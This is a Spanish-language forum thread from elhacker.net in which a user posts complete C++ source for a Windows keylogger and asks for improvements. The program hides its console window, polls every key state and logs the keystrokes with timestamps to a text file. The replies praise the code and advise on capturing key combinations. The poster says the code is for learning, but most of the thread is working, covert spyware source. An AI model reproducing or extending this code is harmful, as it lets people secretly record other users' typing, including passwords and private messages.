elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Como proteger una cartera - billetera de Bitcoin


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación C/C++ (Moderadores: Eternal Idol, Littlehorse, K-YreX)
| | |-+  Keylogger en c++		0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Keylogger en c++  (Leído 2,710 veces)
Antabla

Desconectado Desconectado

Mensajes: 4



Ver Perfil
Keylogger en c++
« en: 27 Junio 2016, 01:49 am »
:rolleyes: Buenas aqui dejo un codigo que estuve haciendo en mi tiempo libre,me gustaria saber si alguien le gustaria colaborar para mejorarlo, optimizarlo esta hecho con fines de aprendizaje, pero me gustaria saber si puede mejorarse.Lo hice yo mismo guiandome de la web.


Código
  1. #define _WIN32_WINNT 0x0500 //getConsoleWindow()
  2. #include <iostream>
  3. #include <conio.h>
  4. #include <stdio.h>
  5. #include <stdlib.h>
  6. #include <windows.h>
  7. #include <ctime>
  8. #include "Conver.h"
  9.  
  10. using namespace std;
  11.  
  12. bool Bloq = false;
  13. void hora();
  14. void arch(string p);
  15. void key();
  16. int cont = 0;
  17.  
  18. int main ()
  19. {
  20.      /* Ocultar la consola */
  21.  //HWND hWnd = GetConsoleWindow();
  22.  /* 0 = oculta ; 1 = visible */
  23.  //ShowWindow( hWnd, 0);
  24.  
  25.  FreeConsole();
  26. hora();
  27.  while(true)
  28.  {
  29.      key();
  30.  }
  31.  
  32.  
  33.  
  34. return 0;
  35. }
  36.  
  37. void hora ()
  38. {
  39.     Conver co;
  40.     string H = "";
  41.     string Fecha = "";
  42.     time_t now;
  43.     struct tm nowlocal;
  44.  
  45.     now = time(NULL);
  46.  
  47.     nowlocal=*localtime(&now);
  48.  
  49.     H = co.Num_str(nowlocal.tm_hour) + ":" + co.Num_str(nowlocal.tm_min) + ":" + co.Num_str(nowlocal.tm_sec);
  50.     Fecha = co.Num_str(nowlocal.tm_mday) + "/" + co.Num_str(nowlocal.tm_mon) + "/" + co.Num_str(nowlocal.tm_year+1900);
  51.  
  52.     arch("\n" + H + " || " + Fecha + "\n");
  53. }
  54.  
  55. void arch(string p)
  56. {
  57.     FILE*KeyL;
  58.     KeyL = fopen("K3yl0g.txt","a");
  59.     fputs(p.c_str(),KeyL);
  60.     fclose(KeyL);
  61. }
  62.  
  63. void key()
  64. {
  65.     string p;
  66.  
  67.     for(int c = 0;c<=255;c++)
  68.     {
  69.  
  70.  
  71.         if(GetAsyncKeyState(c) == -32767)
  72.         {
  73.  
  74.                             switch(c)
  75.                             {
  76.                             case 20:
  77.                                 if(Bloq == true)
  78.                                 {
  79.                                 Bloq = false;
  80.                                 }else
  81.                                     {
  82.                                     Bloq = true;
  83.                                     }
  84.                                     //cont++;
  85.                                 break;
  86.  
  87.                                 case 16:
  88.                                 p = "[Shift]";
  89.                                 arch(p);
  90.                                 //cont++;
  91.                                 break;
  92.  
  93.                                 case 17:
  94.                                 p = "[CTRL]";
  95.                                 arch(p);
  96.                                 //cont++;
  97.                                 break;
  98.  
  99.                                 case 18:
  100.                                 p = "[ALT]";
  101.                                 arch(p);
  102.                                 //cont++;
  103.                                 break;
  104.  
  105.                                 case 9:
  106.                                 p = "\t";
  107.                                 arch(p);
  108.                                 //cont++;
  109.                                 break;
  110.  
  111.                                 case 8:
  112.                                 p = "[DEL]";
  113.                                 arch(p);
  114.                                 //cont++;
  115.                                 break;
  116.  
  117.                                 case 187: case 107 :
  118.                                 p ="+";
  119.                                 arch(p);
  120.                                 //cont++;
  121.                                 break;
  122.  
  123.  
  124.                                 case 188:
  125.                                 p = ",";
  126.                                 arch(p);
  127.                                 //cont++;
  128.                                 break;
  129.  
  130.                                 case 189: case 109:
  131.                                 p = "-";
  132.                                 arch(p);
  133.                                 //cont++;
  134.                                 break;
  135.  
  136.                                 case 190: case 110:
  137.                                 p = ".";
  138.                                 arch(p);
  139.                                 //cont++;
  140.                                 break;
  141.  
  142.                                 case 192:
  143.                                 p = char(164);
  144.                                 arch(p);
  145.                                 //cont++;
  146.                                 break;
  147.  
  148.                                 case 91:
  149.                                 p = "[Win]";
  150.                                 arch(p);
  151.                                 //cont++;
  152.                                 break;
  153.  
  154.                                 default:
  155.                                     if(c == 32 || c == 13)
  156.                                     {
  157.                                         cont++;
  158.                                     }
  159.  
  160.                                      if(c == 32 || c == 13 || (c>= 48 && c<=105))
  161.                                       {
  162.                                         if(Bloq == false)
  163.                                         {
  164.                                         p = tolower(char(c));
  165.                                         }else
  166.                                             {
  167.                                             p = char(c);
  168.                                             }
  169.                                             arch(p);
  170.                                      }
  171.  
  172.                                     break;
  173.  
  174.                             }
  175.                         if(cont == 80)
  176.                         {
  177.                             cont = 0;
  178.                             hora();
  179.  
  180.                         }
  181.  
  182.                         c = 0;
  183.                 }
  184.  
  185. }
  186. }
  187.  
  188.  

Pense en omitir algunas teclas para que lo que se guarde en el .txt se vea mas limpio, y lo de la hora queria guardar la hora y la fecha cierto tanto tiempo,alguien tiene ideas para mejorarlo.  >:D



Se me olvidaba esto es Conver.h tambien le hice yo.

Código
  1. #include <map>
  2. #include <iostream>
  3.  
  4. using namespace std;
  5.  
  6. class Conver
  7. {
  8.     public:
  9.         string Num_str(int i);
  10.         int Str_num(string i);
  11.         int Char_num(char i);
  12. 		string Char_str(char i);
  13. 		char Str_char(string i);
  14. 		bool Isint(char n);
  15.     protected:
  16.  
  17.     private:
  18. };
  19.  
  20. bool Conver::Isint(char n)
  21. {
  22.     string N = "-0123456789";
  23.  
  24.     for(int i = 0;i<N.length();i++)
  25.     {
  26.         if(n == N[i])
  27.         {
  28.             return true;
  29.         }
  30.     }
  31.  
  32.     return false;
  33.  
  34. }
  35.  
  36. char Conver::Str_char(string i)
  37. {
  38. 	map<string, char> conver;
  39.  
  40. 	conver["+"] = '+';
  41. 	conver["-"] = '-';
  42. 	conver["*"] = '*';
  43. 	conver["/"] = '/';
  44. 	conver["^"] = '^';
  45.  
  46. 	return conver[i];
  47. }
  48.  
  49. string Conver::Char_str(char i)
  50. {
  51.     map<char, string> conver;
  52.  
  53.     conver['0'] = "0";
  54.     conver['1'] = "1";
  55.     conver['2'] = "2";
  56.     conver['3'] = "3";
  57.     conver['4'] = "4";
  58.     conver['5'] = "5";
  59.     conver['6'] = "6";
  60.     conver['7'] = "7";
  61.     conver['8'] = "8";
  62.     conver['9'] = "9";
  63.     conver['+'] = "+";
  64.     conver['-'] = "-";
  65.     conver['*'] = "*";
  66.     conver['/'] = "/";
  67.     conver['('] = "(";
  68.     conver[')'] = ")";
  69.     conver['^'] = "^";
  70.     conver['x'] = "x";
  71.     conver['y'] = "Y";
  72.  
  73.     return conver[i];
  74. }
  75.  
  76. int Conver::Char_num(char i)
  77. {
  78.     map<char, int> conver;
  79.  
  80.     conver['0'] = 0;
  81.     conver['1'] = 1;
  82.     conver['2'] = 2;
  83.     conver['3'] = 3;
  84.     conver['4'] = 4;
  85.     conver['5'] = 5;
  86.     conver['6'] = 6;
  87.     conver['7'] = 7;
  88.     conver['8'] = 8;
  89.     conver['9'] = 9;
  90.  
  91.     return conver[i];
  92. }
  93.  
  94. ///LISTO---------------------------------------
  95. string Conver::Num_str(int i)
  96. {
  97.     bool t = true;
  98. if(i < 0)
  99. {
  100.     i = i*(-1);
  101.     t = false;
  102. }
  103.     map<int, string> conver;
  104.  
  105.     conver[0] = "0";
  106.     conver[1] = "1";
  107.     conver[2] = "2";
  108.     conver[3] = "3";
  109.     conver[4] = "4";
  110.     conver[5] = "5";
  111.     conver[6] = "6";
  112.     conver[7] = "7";
  113.     conver[8] = "8";
  114.     conver[9] = "9";
  115.  
  116.     if (i>=0 && i <=9)
  117.         {
  118.              if(t)
  119.              {
  120.                  return (conver[i]);
  121.              }else
  122.                 {
  123.                     return ("-"+conver[i]);
  124.                 }
  125.         }
  126.         else
  127.           {
  128.               int aux;
  129.               if (i>=10 && i<=99 )
  130.               {
  131.                   aux = 10;
  132.               }
  133.               else
  134.               {
  135.                   if(i>=100 && i<=999)
  136.                   {
  137.                       aux = 100;
  138.                   }
  139.                   else
  140.                   {
  141.                       if(i>=1000 && i<=9999)
  142.                       {
  143.                           aux = 1000;
  144.                       }
  145.                       else
  146.                       {
  147.                           if (i>=10000 && i<=99999)
  148.                           {
  149.                               aux = 10000;
  150.                           }
  151.                           else
  152.                             {
  153.                                 if(i>=100000 && i<=999999)
  154.                                 {
  155.                                     aux = 100000;
  156.                                 }
  157.                                 else
  158.                                 {
  159.                                     if(i>=1000000 && i<=9999999)
  160.                                     {
  161.                                         aux = 1000000;
  162.                                     }
  163.                                     else
  164.                                     {
  165.                                         if(i>=10000000 && i<=99999999)
  166.                                         {
  167.                                             aux = 10000000;
  168.                                         }
  169.                                         else
  170.                                         {
  171.                                             if(i>=100000000  && i<=999999999)
  172.                                             {
  173.                                                 aux = 100000000;
  174.                                             }
  175.                                             else
  176.                                             {
  177.                                                 aux = 1000000000;
  178.                                             }
  179.                                         }
  180.                                     }
  181.                                 }
  182.                             }
  183.                       }
  184.                   }
  185.               }
  186.  
  187.               string receptot = "";
  188.         for (aux=aux;aux>=1;aux=aux/10)
  189.         {
  190.             receptot += Num_str(i/aux);
  191.             i = i%aux;
  192.         }
  193.  
  194.         if(t)
  195.         {
  196.         return (receptot);
  197.         }else
  198.             {
  199.                 return("-"+receptot);
  200.             }
  201.           }
  202.  
  203.  
  204. }
  205. ///LISTO_______________________________________
  206. int Conver::Str_num(string i)
  207. {
  208.  
  209.     map<string, int> conver;
  210.  
  211.  
  212.     conver["0"] = 0;
  213.     conver["1"] = 1;
  214.     conver["2"] = 2;
  215.     conver["3"] = 3;
  216.     conver["4"] = 4;
  217.     conver["5"] = 5;
  218.     conver["6"] = 6;
  219.     conver["7"] = 7;
  220.     conver["8"] = 8;
  221.     conver["9"] = 9;
  222.  
  223.  
  224.     if (i.length() <=1)
  225.     {
  226.     return(conver[i]);
  227.     }
  228.     else{
  229.  
  230.             int aux=1;
  231.             int acumulador = 0;
  232.  
  233.             for (int j = 1;j<=i.length();j++)
  234.             {
  235.                 aux*=10;
  236.             }
  237.  
  238.             for (int j = 0;j<=i.length()-1;j++)
  239.             {
  240.                 aux = aux/10;
  241.  
  242.                 acumulador +=Char_num(i[j])*aux;
  243.  
  244.             }
  245.             if (i[0] == '-')
  246.             {
  247.                 return -(acumulador);
  248.             }else
  249.                 {
  250.                 return acumulador;
  251.                 }
  252.  
  253.  
  254.     }
  255.  
  256. }
  257.  
  258. ///--------------------------------------------
  259.  
  260.  

Mod: no hacer doble post
« Última modificación: 27 Junio 2016, 02:14 am por engel lex » En línea
AlbertoBSD
Programador y
Moderador Global
***
Desconectado Desconectado

Mensajes: 3.696


🏴 Libertad!!!!!


Ver Perfil WWW
Re: Keylogger en c++
« Respuesta #1 en: 27 Junio 2016, 02:34 am »
Hola se ve muy bien el codigo  ;-) ;-)

Aun que creo que podrias usar un arreglo de caracteres en lugar de strings para que sea un poquitin mas rápida la app.

Ademas no se que tanta memoria este consumiendo tu programa ya que los string se están creando a cada rato y no se cada cuanto tiempo se liberen.

la otra que no veo es si determinas correctamente si se precionan teclas al mismo tiempo como alt-f4 etc.

Saludos
En línea
Keyhunters telegram group (English)
Antabla

Desconectado Desconectado

Mensajes: 4



Ver Perfil
Re: Keylogger en c++
« Respuesta #2 en: 27 Junio 2016, 03:11 am »
Gracias por tomarte la molestia de ver mi codigo AlbertoBSD  :) , utilizare el areglo de caracteres como me recomiendas para ver, y pues el programa no reconoce las combinaciones de teclas ya que no se como hacerlo tienes alguna idea al respecto.
En línea
AlbertoBSD
Programador y
Moderador Global
***
Desconectado Desconectado

Mensajes: 3.696


🏴 Libertad!!!!!


Ver Perfil WWW
Re: Keylogger en c++
« Respuesta #3 en: 27 Junio 2016, 03:35 am »
Hace tiempo cuando hacia menus animados xD jaja

capturaba las teclas  ingresadas por los usuarios y validaba, creo que cuando era una de estas teclas me devolvia 0 y posteriormente un valor mas. Entonces tendrías que agregar un case 0 y posteriormente capturar el valor siguiente como si fueran una sola tecla.

No se si siga siendo asi, seria de que probaras el case e impimir solo el valor siguiente para ver que tecla precionaste, tendrias que probar con todas las combinaciones de alt+Algo

Saludos
En línea
Keyhunters telegram group (English)
Antabla

Desconectado Desconectado

Mensajes: 4



Ver Perfil
Re: Keylogger en c++
« Respuesta #4 en: 27 Junio 2016, 04:27 am »
vale gracias vere que le puedo agregar,por cierto buenos videos  ::) ;-) .
En línea
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
usb keylogger, o keylogger desde modo seguro.
Seguridad 		minerif 0 3,184 Último mensaje 24 Marzo 2013, 23:20 pm
por minerif
Keylogger
Hacking 		luisaranda 1 2,746 Último mensaje 10 Enero 2021, 20:47 pm
por Machacador
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines